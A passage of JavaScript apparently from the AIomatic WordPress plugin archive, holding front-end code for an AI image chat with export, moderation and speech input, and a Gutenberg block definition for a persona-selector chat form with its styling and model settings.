class="ai-speech">([\s\S]*?)<\/div>/g, ''); text = text.aitrim(); var element = document.createElement('a'); element.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(text)); element.setAttribute('download', 'chat.txt'); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } else { var element = document.querySelector('#aiomatic_chat_history' + instance); var originalStyle = element.getAttribute('style'); element.style.height = 'auto'; element.style.maxHeight = 'none'; element.style.overflow = 'visible'; html2canvas(element, { scrollY: -window.scrollY, useCORS: true, windowWidth: element.scrollWidth, windowHeight: element.scrollHeight }).then(canvas => { const imgData = canvas.toDataURL('image/png'); const { jsPDF } = window.jspdf; const pdf = new jsPDF({ orientation: 'landscape', unit: 'px', format: [canvas.width, canvas.height] }); var pageHeight = pdf.internal.pageSize.height; var imgHeight = canvas.height; var heightLeft = imgHeight; var position = 0; pdf.addImage(imgData, 'PNG', 0, position, canvas.width, canvas.height); heightLeft -= pageHeight; while (heightLeft >= 0) { position = heightLeft - imgHeight; pdf.addImage(imgData, 'PNG', 0, position, canvas.width, canvas.height); heightLeft -= pageHeight; } pdf.save('chat.pdf'); element.setAttribute('style', originalStyle); }); } } async function openaiimagechatfunct() { jQuery('#aiimagechatsubmitbut' + instance).attr('disabled', true); var input_textj = jQuery('#aiomatic_chat_input' + instance); var input_text = ''; jQuery('#openai-image-chat-response' + instance).html('<div class="automaticx-dual-ring"></div>'); input_text = input_textj.val(); if(aiomatic_chat_image_ajax_object.no_empty == '1' && input_text == '') { jQuery('#aiimagechatsubmitbut' + instance).attr('disabled', false); jQuery('#openai-image-chat-response' + instance).html('<div class="text-primary highlight-text-fail" role="status">You need to enter a message to speak to the chatbot.</div>'); return; } input_text = aiomaticEscapeHtml(input_text); input_textj.val(''); if(aiomatic_chat_image_ajax_object.enable_moderation == '1') { var isflagged = false; await jQuery.ajax({ type: 'POST', url: aiomatic_chat_image_ajax_object.ajax_url, data: { action: 'aiomatic_moderate_text', text: input_text, nonce: aiomatic_chat_image_ajax_object.moderation_nonce, model: aiomatic_chat_image_ajax_object.moderation_model }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { const resp = JSON.parse(response.data); if(resp.results[0].flagged != undefined) { if(resp.results[0].flagged == true) { jQuery('#aiimagechatsubmitbut' + instance).attr('disabled', false); jQuery('#openai-image-chat-response' + instance).html('<div class="text-primary highlight-text-fail" role="status">' + aiomatic_chat_image_ajax_object.flagged_message + '</div>'); isflagged = true; } } else { console.log('Invalid response from moderation ' + response); } } else { if(typeof response.msg !== 'undefined') { console.log('Moderation returned an error: ' + response.msg); } else { console.log('Moderation returned an error: ' + response); } } }, error: function(error) { console.log('Moderation failed: ' + error.responseText); }, }); if(isflagged == true) { return; } } var user_token_cap_per_day = aiomatic_chat_image_ajax_object.user_token_cap_per_day; var user_id = aiomatic_chat_image_ajax_object.user_id; var persistent = aiomatic_chat_image_ajax_object.persistent; if(input_text == '') { jQuery('#aiimagechatsubmitbut' + instance).attr('disabled', false); jQuery('#openai-image-chat-response' + instance).html('<div class="text-primary highlight-text-fail" role="status">Please add a text in the input field.</div>'); console.log('Instruction cannot be empty.'); return; } var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); if(input_text.aitrim() != '') { var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_image_ajax_object.bubble_user_alignment != 'right' && aiomatic_chat_image_ajax_object.avatar_url_user != '' && aiomatic_chat_image_ajax_object.show_user_avatar == 'show') { appendx += '<div class="ai-avatar ai-mine"></div>'; } appendx += '<div class="ai-bubble ai-mine">' + input_text + '</div>'; if(aiomatic_chat_image_ajax_object.bubble_user_alignment == 'right' && aiomatic_chat_image_ajax_object.avatar_url_user != '' && aiomatic_chat_image_ajax_object.show_user_avatar == 'show') { appendx += '<div class="ai-avatar ai-mine"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); } jQuery.ajax({ type: 'POST', url: aiomatic_chat_image_ajax_object.ajax_url, data: { action: 'aiomatic_image_chat_submit', input_text: input_text, user_token_cap_per_day: user_token_cap_per_day, nonce: aiomatic_chat_image_ajax_object.nonce, user_id: user_id }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { if(response.data == '') { jQuery('#openai-image-chat-response' + instance).html('<div class="text-primary highlight-text-fail" role="status">No image was generated. Please try using a different text input.</div>'); } else { var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_image_ajax_object.bubble_alignment != 'right' && aiomatic_chat_image_ajax_object.avatar_url != '' && aiomatic_chat_image_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_image_ajax_object.bubble_alignment == 'right' && aiomatic_chat_image_ajax_object.avatar_url != '' && aiomatic_chat_image_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); if((persistent == 'on' || persistent == 'logs' || persistent == '1') && user_id != '0') { jQuery.ajax({ type: 'POST', url: aiomatic_chat_image_ajax_object.ajax_url, data: { action: 'aiomatic_user_meta_save', nonce: aiomatic_chat_image_ajax_object.persistentnonce, persistent: persistent, x_input_text: x_input_text + appendx, user_id: user_id }, success: function() { }, error: function(error) { console.log('Error while saving persistent user log: ' + error.responseText); }, }); } jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-image-chat-response' + instance).html(' '); // Enable the submit button jQuery('#aiimagechatsubmitbut' + instance).attr('disabled', false); } } else { if(typeof response.msg !== 'undefined') { jQuery('#openai-image-chat-response' + instance).html('<div class="text-primary highlight-text-fail" role="status">' + response.msg + '</div>'); } else { console.log('Error: ' + response); jQuery('#openai-image-chat-response' + instance).html('<div class="text-primary highlight-text-fail" role="status">Processing failed, please try again</div>'); } } jQuery('#aiimagechatsubmitbut' + instance).attr('disabled', false); }, error: function(error) { console.log('Error: ' + error.responseText); // Clear the response container jQuery('#openai-image-chat-response' + instance).html('<div class="text-primary highlight-text-fail" role="status">Failed to generate content, try again later.</div>'); // Enable the submit button jQuery('#aiimagechatsubmitbut' + instance).attr('disabled', false); }, }); } var recognition; var recognizing = false; jQuery(document).ready(function() { if(aiomatic_chat_image_ajax_object.scroll_bot == 'on') { jQuery('#aiomatic_chat_history' + instance).on('DOMSubtreeModified', function(){ var psconsole = jQuery('#aiomatic_chat_history' + instance); if(psconsole.length) { psconsole.scrollTop(psconsole[0].scrollHeight - psconsole.height()); } }); } if(jQuery('#aiomatic_image_chat_templates' + instance).length) { jQuery('#aiomatic_image_chat_templates' + instance).on('change', function() { jQuery('#aiomatic_chat_input' + instance).val(jQuery( "#aiomatic_image_chat_templates" + instance ).val()); }); } else { // Check if the browser supports the Web Speech API if ('webkitSpeechRecognition' in window) { recognition = new webkitSpeechRecognition(); recognition.continuous = true; recognition.interimResults = true; // Start the speech recognition when the button is clicked jQuery('#openai-image-chat-speech-button' + instance).on('click', function() { if (recognizing) { recognition.stop(); recognizing = false; } else { recognition.start(); recognizing = true; } }); // Handle the speech recognition results recognition.onresult = function(event) { for (var i = event.resultIndex; i < event.results.length; ++i) { if (event.results[i].isFinal) { jQuery('#aiomatic_chat_input' + instance).val(jQuery('#aiomatic_chat_input' + instance).val() + " " + event.results[i][0].transcript); } } }; } } }); }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/aiomatic-chat-selector.js�������������������������������������������������������������������0000644�����������������00000127641�14757771437�0013153 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; var editing_options = ''; if (Array.isArray(aiomatic_object.models)) { aiomatic_object.models.forEach(element => { editing_options += '<option value="' + element + '">' + element + '</option>'; }); } else if (typeof aiomatic_object.models === 'object' && aiomatic_object.models !== null) { Object.entries(aiomatic_object.models).forEach(([key, value]) => { editing_options += '<option value="' + key + '">' + value + '</option>'; }); } registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-persona-selector', { title: 'AIomatic Persona Selector Form', icon: 'text', category: 'embed', attributes: { temperature : { default: 'default', type: 'string', }, top_p : { default: 'default', type: 'string', }, presence_penalty : { default: 'default', type: 'string', }, frequency_penalty : { default: 'default', type: 'string', }, model : { default: 'default', type: 'string', }, instant_response : { default: 'false', type: 'string', }, chat_mode : { default: '', type: 'string', }, user_token_cap_per_day : { default: '', type: 'string', }, persistent : { default: '', type: 'string', }, prompt_templates : { default: '', type: 'string', }, prompt_editable : { default: '', type: 'string', }, placeholder : { default: '', type: 'string', }, submit : { default: '', type: 'string', }, show_in_window : { default: '', type: 'string', }, window_location : { default: '', type: 'string', }, font_size : { default: '1em', type: 'string', }, height : { default: '100%', type: 'string', }, background : { default: 'auto', type: 'string', }, minheight : { default: '250px', type: 'string', }, user_font_color : { default: '#ffffff', type: 'string', }, user_background_color : { default: '#0084ff', type: 'string', }, ai_font_color : { default: '#000000', type: 'string', }, ai_background_color : { default: '#f0f0f0', type: 'string', }, input_border_color : { default: '#e1e3e6', type: 'string', }, input_text_color : { default: '#000000', type: 'string', }, persona_name_color : { default: '#3c434a', type: 'string', }, persona_role_color : { default: '#728096', type: 'string', }, input_placeholder_color : { default: '#333333', type: 'string', }, submit_color : { default: '#55a7e2', type: 'string', }, submit_text_color : { default: '#ffffff', type: 'string', }, voice_color : { default: '#55a7e2', type: 'string', }, voice_color_activated : { default: '#55a7e2', type: 'string', }, width : { default: '100%', type: 'string', }, ai_avatar : { default: '', type: 'string', }, ai_role : { default: '100%', type: 'string', }, general_background : { default: '#ffffff', type: 'string', }, ai_personas : { default: '', type: 'string', }, user_message_preppend : { default: '', type: 'string', }, compliance : { default: '', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var temperature = props.attributes.temperature; var top_p = props.attributes.top_p; var presence_penalty = props.attributes.presence_penalty; var frequency_penalty = props.attributes.frequency_penalty; var model = props.attributes.model; var instant_response = props.attributes.instant_response; var user_message_preppend = props.attributes.user_message_preppend; var ai_personas = props.attributes.ai_personas; var chat_mode = props.attributes.chat_mode; var user_token_cap_per_day = props.attributes.user_token_cap_per_day; var persistent = props.attributes.persistent; var prompt_templates = props.attributes.prompt_templates; var prompt_editable = props.attributes.prompt_editable; var placeholder = props.attributes.placeholder; var submit = props.attributes.submit; var show_in_window = props.attributes.show_in_window; var window_location = props.attributes.window_location; var font_size = props.attributes.font_size; var height = props.attributes.height; var background = props.attributes.background; var minheight = props.attributes.minheight; var user_font_color = props.attributes.user_font_color; var user_background_color = props.attributes.user_background_color; var ai_font_color = props.attributes.ai_font_color; var ai_background_color = props.attributes.ai_background_color; var input_border_color = props.attributes.input_border_color; var input_text_color = props.attributes.input_text_color; var persona_name_color = props.attributes.persona_name_color; var persona_role_color = props.attributes.persona_role_color; var input_placeholder_color = props.attributes.input_placeholder_color; var submit_color = props.attributes.submit_color; var voice_color = props.attributes.voice_color; var voice_color_activated = props.attributes.voice_color_activated; var submit_text_color = props.attributes.submit_text_color; var width = props.attributes.width; var ai_avatar = props.attributes.ai_avatar; var ai_role = props.attributes.ai_role; var general_background = props.attributes.general_background; var compliance = props.attributes.compliance; function updateMessage( event ) { props.setAttributes( { temperature: event.target.value} ); } function updateMessage3( event ) { props.setAttributes( { top_p: event.target.value} ); } function updateMessage4( event ) { props.setAttributes( { presence_penalty: event.target.value} ); } function updateMessage5( event ) { props.setAttributes( { frequency_penalty: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { model: event.target.value} ); } function updateMessage7( event ) { props.setAttributes( { instant_response: event.target.value} ); } function updateMessage8( event ) { props.setAttributes( { ai_personas: event.target.value} ); } function updateMessage9( event ) { props.setAttributes( { user_message_preppend: event.target.value} ); } function updateMessage12( event ) { props.setAttributes( { chat_mode: event.target.value} ); } function updateMessage13( event ) { props.setAttributes( { user_token_cap_per_day: event.target.value} ); } function updateMessage14( event ) { props.setAttributes( { persistent: event.target.value} ); } function updateMessage15( event ) { props.setAttributes( { prompt_templates: event.target.value} ); } function updateMessage16( event ) { props.setAttributes( { prompt_editable: event.target.value} ); } function updateMessage17( event ) { props.setAttributes( { placeholder: event.target.value} ); } function updateMessage18( event ) { props.setAttributes( { submit: event.target.value} ); } function updateMessage19( event ) { props.setAttributes( { show_in_window: event.target.value} ); } function updateMessage20( event ) { props.setAttributes( { window_location: event.target.value} ); } function updateMessage21( event ) { props.setAttributes( { font_size: event.target.value} ); } function updateMessage22( event ) { props.setAttributes( { height: event.target.value} ); } function updateMessage23( event ) { props.setAttributes( { background: event.target.value} ); } function updateMessage24( event ) { props.setAttributes( { minheight: event.target.value} ); } function updateMessage25( event ) { props.setAttributes( { user_font_color: event.target.value} ); } function updateMessage26( event ) { props.setAttributes( { user_background_color: event.target.value} ); } function updateMessage27( event ) { props.setAttributes( { ai_font_color: event.target.value} ); } function updateMessage28( event ) { props.setAttributes( { ai_background_color: event.target.value} ); } function updateMessage29( event ) { props.setAttributes( { input_border_color: event.target.value} ); } function updateMessage30( event ) { props.setAttributes( { submit_color: event.target.value} ); } function updateMessage41( event ) { props.setAttributes( { voice_color: event.target.value} ); } function updateMessage42( event ) { props.setAttributes( { voice_color_activated: event.target.value} ); } function updateMessage31( event ) { props.setAttributes( { submit_text_color: event.target.value} ); } function updateMessage32( event ) { props.setAttributes( { width: event.target.value} ); } function updateMessage33( event ) { props.setAttributes( { ai_avatar: event.target.value} ); } function updateMessage34( event ) { props.setAttributes( { ai_role: event.target.value} ); } function updateMessage35( event ) { props.setAttributes( { general_background: event.target.value} ); } function updateMessage36( event ) { props.setAttributes( { compliance: event.target.value} ); } function updateMessage37( event ) { props.setAttributes( { input_text_color: event.target.value} ); } function updateMessage38( event ) { props.setAttributes( { input_placeholder_color: event.target.value} ); } function updateMessage39( event ) { props.setAttributes( { persona_name_color: event.target.value} ); } function updateMessage40( event ) { props.setAttributes( { persona_role_color: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic Chat Form ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to generate an AI chat.' ) ) ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Personal Selector: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Add a comma separated list of chat persona IDs, which you want to list in the chat persona selector.' ) ), gcel( 'input', { type:'text',placeholder:'Comma separated list of chat persona IDs', value: ai_personas, onChange: updateMessage8, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Temperature: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.' ) ), gcel( 'input', { type:'number',min:0,step:0.1,placeholder:'AI Temperature', value: temperature, onChange: updateMessage, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Top_p: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.' ) ), gcel( 'input', { type:'number',min:0,max:1,step:0.1,placeholder:'AI Top_p', value: top_p, onChange: updateMessage3, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Presence Penalty: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model\'s likelihood to talk about new topics.' ) ), gcel( 'input', { type:'number',min:-2,max:2,step:0.1,placeholder:'AI Presence Penalty', value: presence_penalty, onChange: updateMessage4, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Frequency Penalty: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model\'s likelihood to repeat the same line verbatim.' ) ), gcel( 'input', { type:'number',min:-2,max:2,step:0.1,placeholder:'AI Frequency Penalty', value: frequency_penalty, onChange: updateMessage5, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Model: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the AI model you want to use to generate the content.' ) ), gcel( 'select', { value: model, onChange: updateMessage6, className: 'coderevolution_gutenberg_select', dangerouslySetInnerHTML: { __html: editing_options } } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Instant Chat Response: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the chat should have an instant response.' ) ), gcel( 'select', { value: instant_response, onChange: updateMessage7, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'false'}, 'false' ), gcel( 'option', { value: 'stream'}, 'stream' ), gcel( 'option', { value: 'true'}, 'true' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Preppend Each User Message With Text (Not Shown To Users): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Preppend each of the user messages with this text, it will not be displayed to users. Using this settings field, you can set a name to users in the conversation, like "Customer: ".' ) ), gcel( 'input', { type:'text',placeholder:'Preppend user message with this string (will not be shown to users)', value: user_message_preppend, onChange: updateMessage9, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Mode: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the mode of the chat (images or text).' ) ), gcel( 'select', { value: chat_mode, onChange: updateMessage12, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'text'}, 'text' ), gcel( 'option', { value: 'images'}, 'images' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Daily Token Count for Logged In Users: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the daily token count for logged in users. Users who are not logged in will not be allowed to submit the form. To disable this feature, leave this field blank.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Daily token count for users', value: user_token_cap_per_day, onChange: updateMessage13, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Enable Persistent Chat: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select a unique ID for persistent conversations of users. You can create multiple persistent conversations using different IDs, added to different shortcodes.' ) ), gcel( 'input', { type:'text',placeholder:'Select the persistent conversation ID, which will be saved for each user', value: persistent, onChange: updateMessage14, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Templates (Semicolon Separated): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Add a semicolon (;) separated list of prompt templates from which the users will be able to select and submit one.' ) ), gcel( 'input', { type:'text',placeholder:'Template1;Template2;Template3', value: prompt_templates, onChange: updateMessage15, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Editable: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select wheather the prompt will be editable by users. This is useful when combined with prompt templates from above, when you don\'t want the users to edit the entered template.' ) ), gcel( 'select', { value: prompt_editable, onChange: updateMessage16, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'yes'}, 'yes' ), gcel( 'option', { value: 'no'}, 'no' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Form Input Placeholder: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the placeholder text of the chat input. The default is: Enter your chat message here.' ) ), gcel( 'input', { type:'text',placeholder:'Preppend chat with this string (will not be shown to users)', value: placeholder, onChange: updateMessage17, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Form Input Submit Button Text: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the text of the submit button. The default is: Submit' ) ), gcel( 'input', { type:'text', placeholder:'Submit', value: submit, onChange: updateMessage18, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Compliance Text: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the compliance text for the chatbot' ) ), gcel( 'input', { type:'text', placeholder:'Compliance text', value: compliance, onChange: updateMessage36, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Show Chat In A Popup Window: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Do you want to show the chat in a popup window instead in the page?' ) ), gcel( 'select', { value: show_in_window, onChange: updateMessage19, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'off'}, 'off' ), gcel( 'option', { value: 'on'}, 'on' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chatbot Avatar: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the numeric ID of a Media Library item which will be set as the avatar of the chatbot AI.' ) ), gcel( 'input', { type:'text', placeholder:'', value: ai_avatar, onChange: updateMessage33, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chatbot Role: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the role of the AI chatbot. This is purely cosmetic, will only be displayed on the front end of the chatbot interface.' ) ), gcel( 'input', { type:'text', placeholder:'', value: ai_role, onChange: updateMessage34, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Window Location: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select where you want to display the popup window. This works only if you set the "Show Chat In A Popup Window" settings field to "on".' ) ), gcel( 'select', { value: window_location, onChange: updateMessage20, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'bottom-right'}, 'bottom-right' ), gcel( 'option', { value: 'bottom-left'}, 'bottom-left' ),gcel( 'option', { value: 'top-right'}, 'top-right' ), gcel( 'option', { value: 'top-left'}, 'top-left' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Font Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the font size of the chatbot form. Default is 1em' ) ), gcel( 'input', { type:'text', placeholder:'1em', value: font_size, onChange: updateMessage21, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Form Width: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the width of the chatbot form. For full width, you can set 100% (default value). You can also set values in pixels, like: 400px' ) ), gcel( 'input', { type:'text', placeholder:'100%', value: width, onChange: updateMessage32, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Form Height: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the height of the chatbot form. For full height, you can set auto (default value). You can also set values in pixels, like: 400px' ) ), gcel( 'input', { type:'text', placeholder:'auto', value: height, onChange: updateMessage22, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Form Min-Height: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the min-height of the chatbot form (when the form is resized, this is the minimum height it will be allowed to get. Default is 250px. You can set values in pixels, like: 400px' ) ), gcel( 'input', { type:'text', value: minheight, onChange: updateMessage24, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Form Background Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the background color of the chatbot form. Default is #ffffff' ) ), gcel( 'input', { type:'color', value: general_background, onChange: updateMessage35, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Input Background Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the background color of the chatbot input. Default is #f7f7f9' ) ), gcel( 'input', { type:'color', value: background, onChange: updateMessage23, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Chat Form Min-Height: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the min-height of the chatbot form (when the form is resized, this is the minimum height it will be allowed to get. Default is 250px. You can set values in pixels, like: 400px' ) ), gcel( 'input', { type:'color', value: user_font_color, onChange: updateMessage25, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'User Baloon Background Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the font color of the user baloon chatbot form. Default is #0084ff' ) ), gcel( 'input', { type:'color', value: user_background_color, onChange: updateMessage26, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Font Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the font color of the AI chatbot form. Default is black' ) ), gcel( 'input', { type:'color', value: ai_font_color, onChange: updateMessage27, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Baloon Background Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the font color of the AI baloon chatbot form. Default is #f0f0f0' ) ), gcel( 'input', { type:'color', value: ai_background_color, onChange: updateMessage28, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Input Border Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the border color for the input field. Default is #e1e3e6' ) ), gcel( 'input', { type:'color', value: input_border_color, onChange: updateMessage29, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Input Text Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the text color for the input field. Default is #000000' ) ), gcel( 'input', { 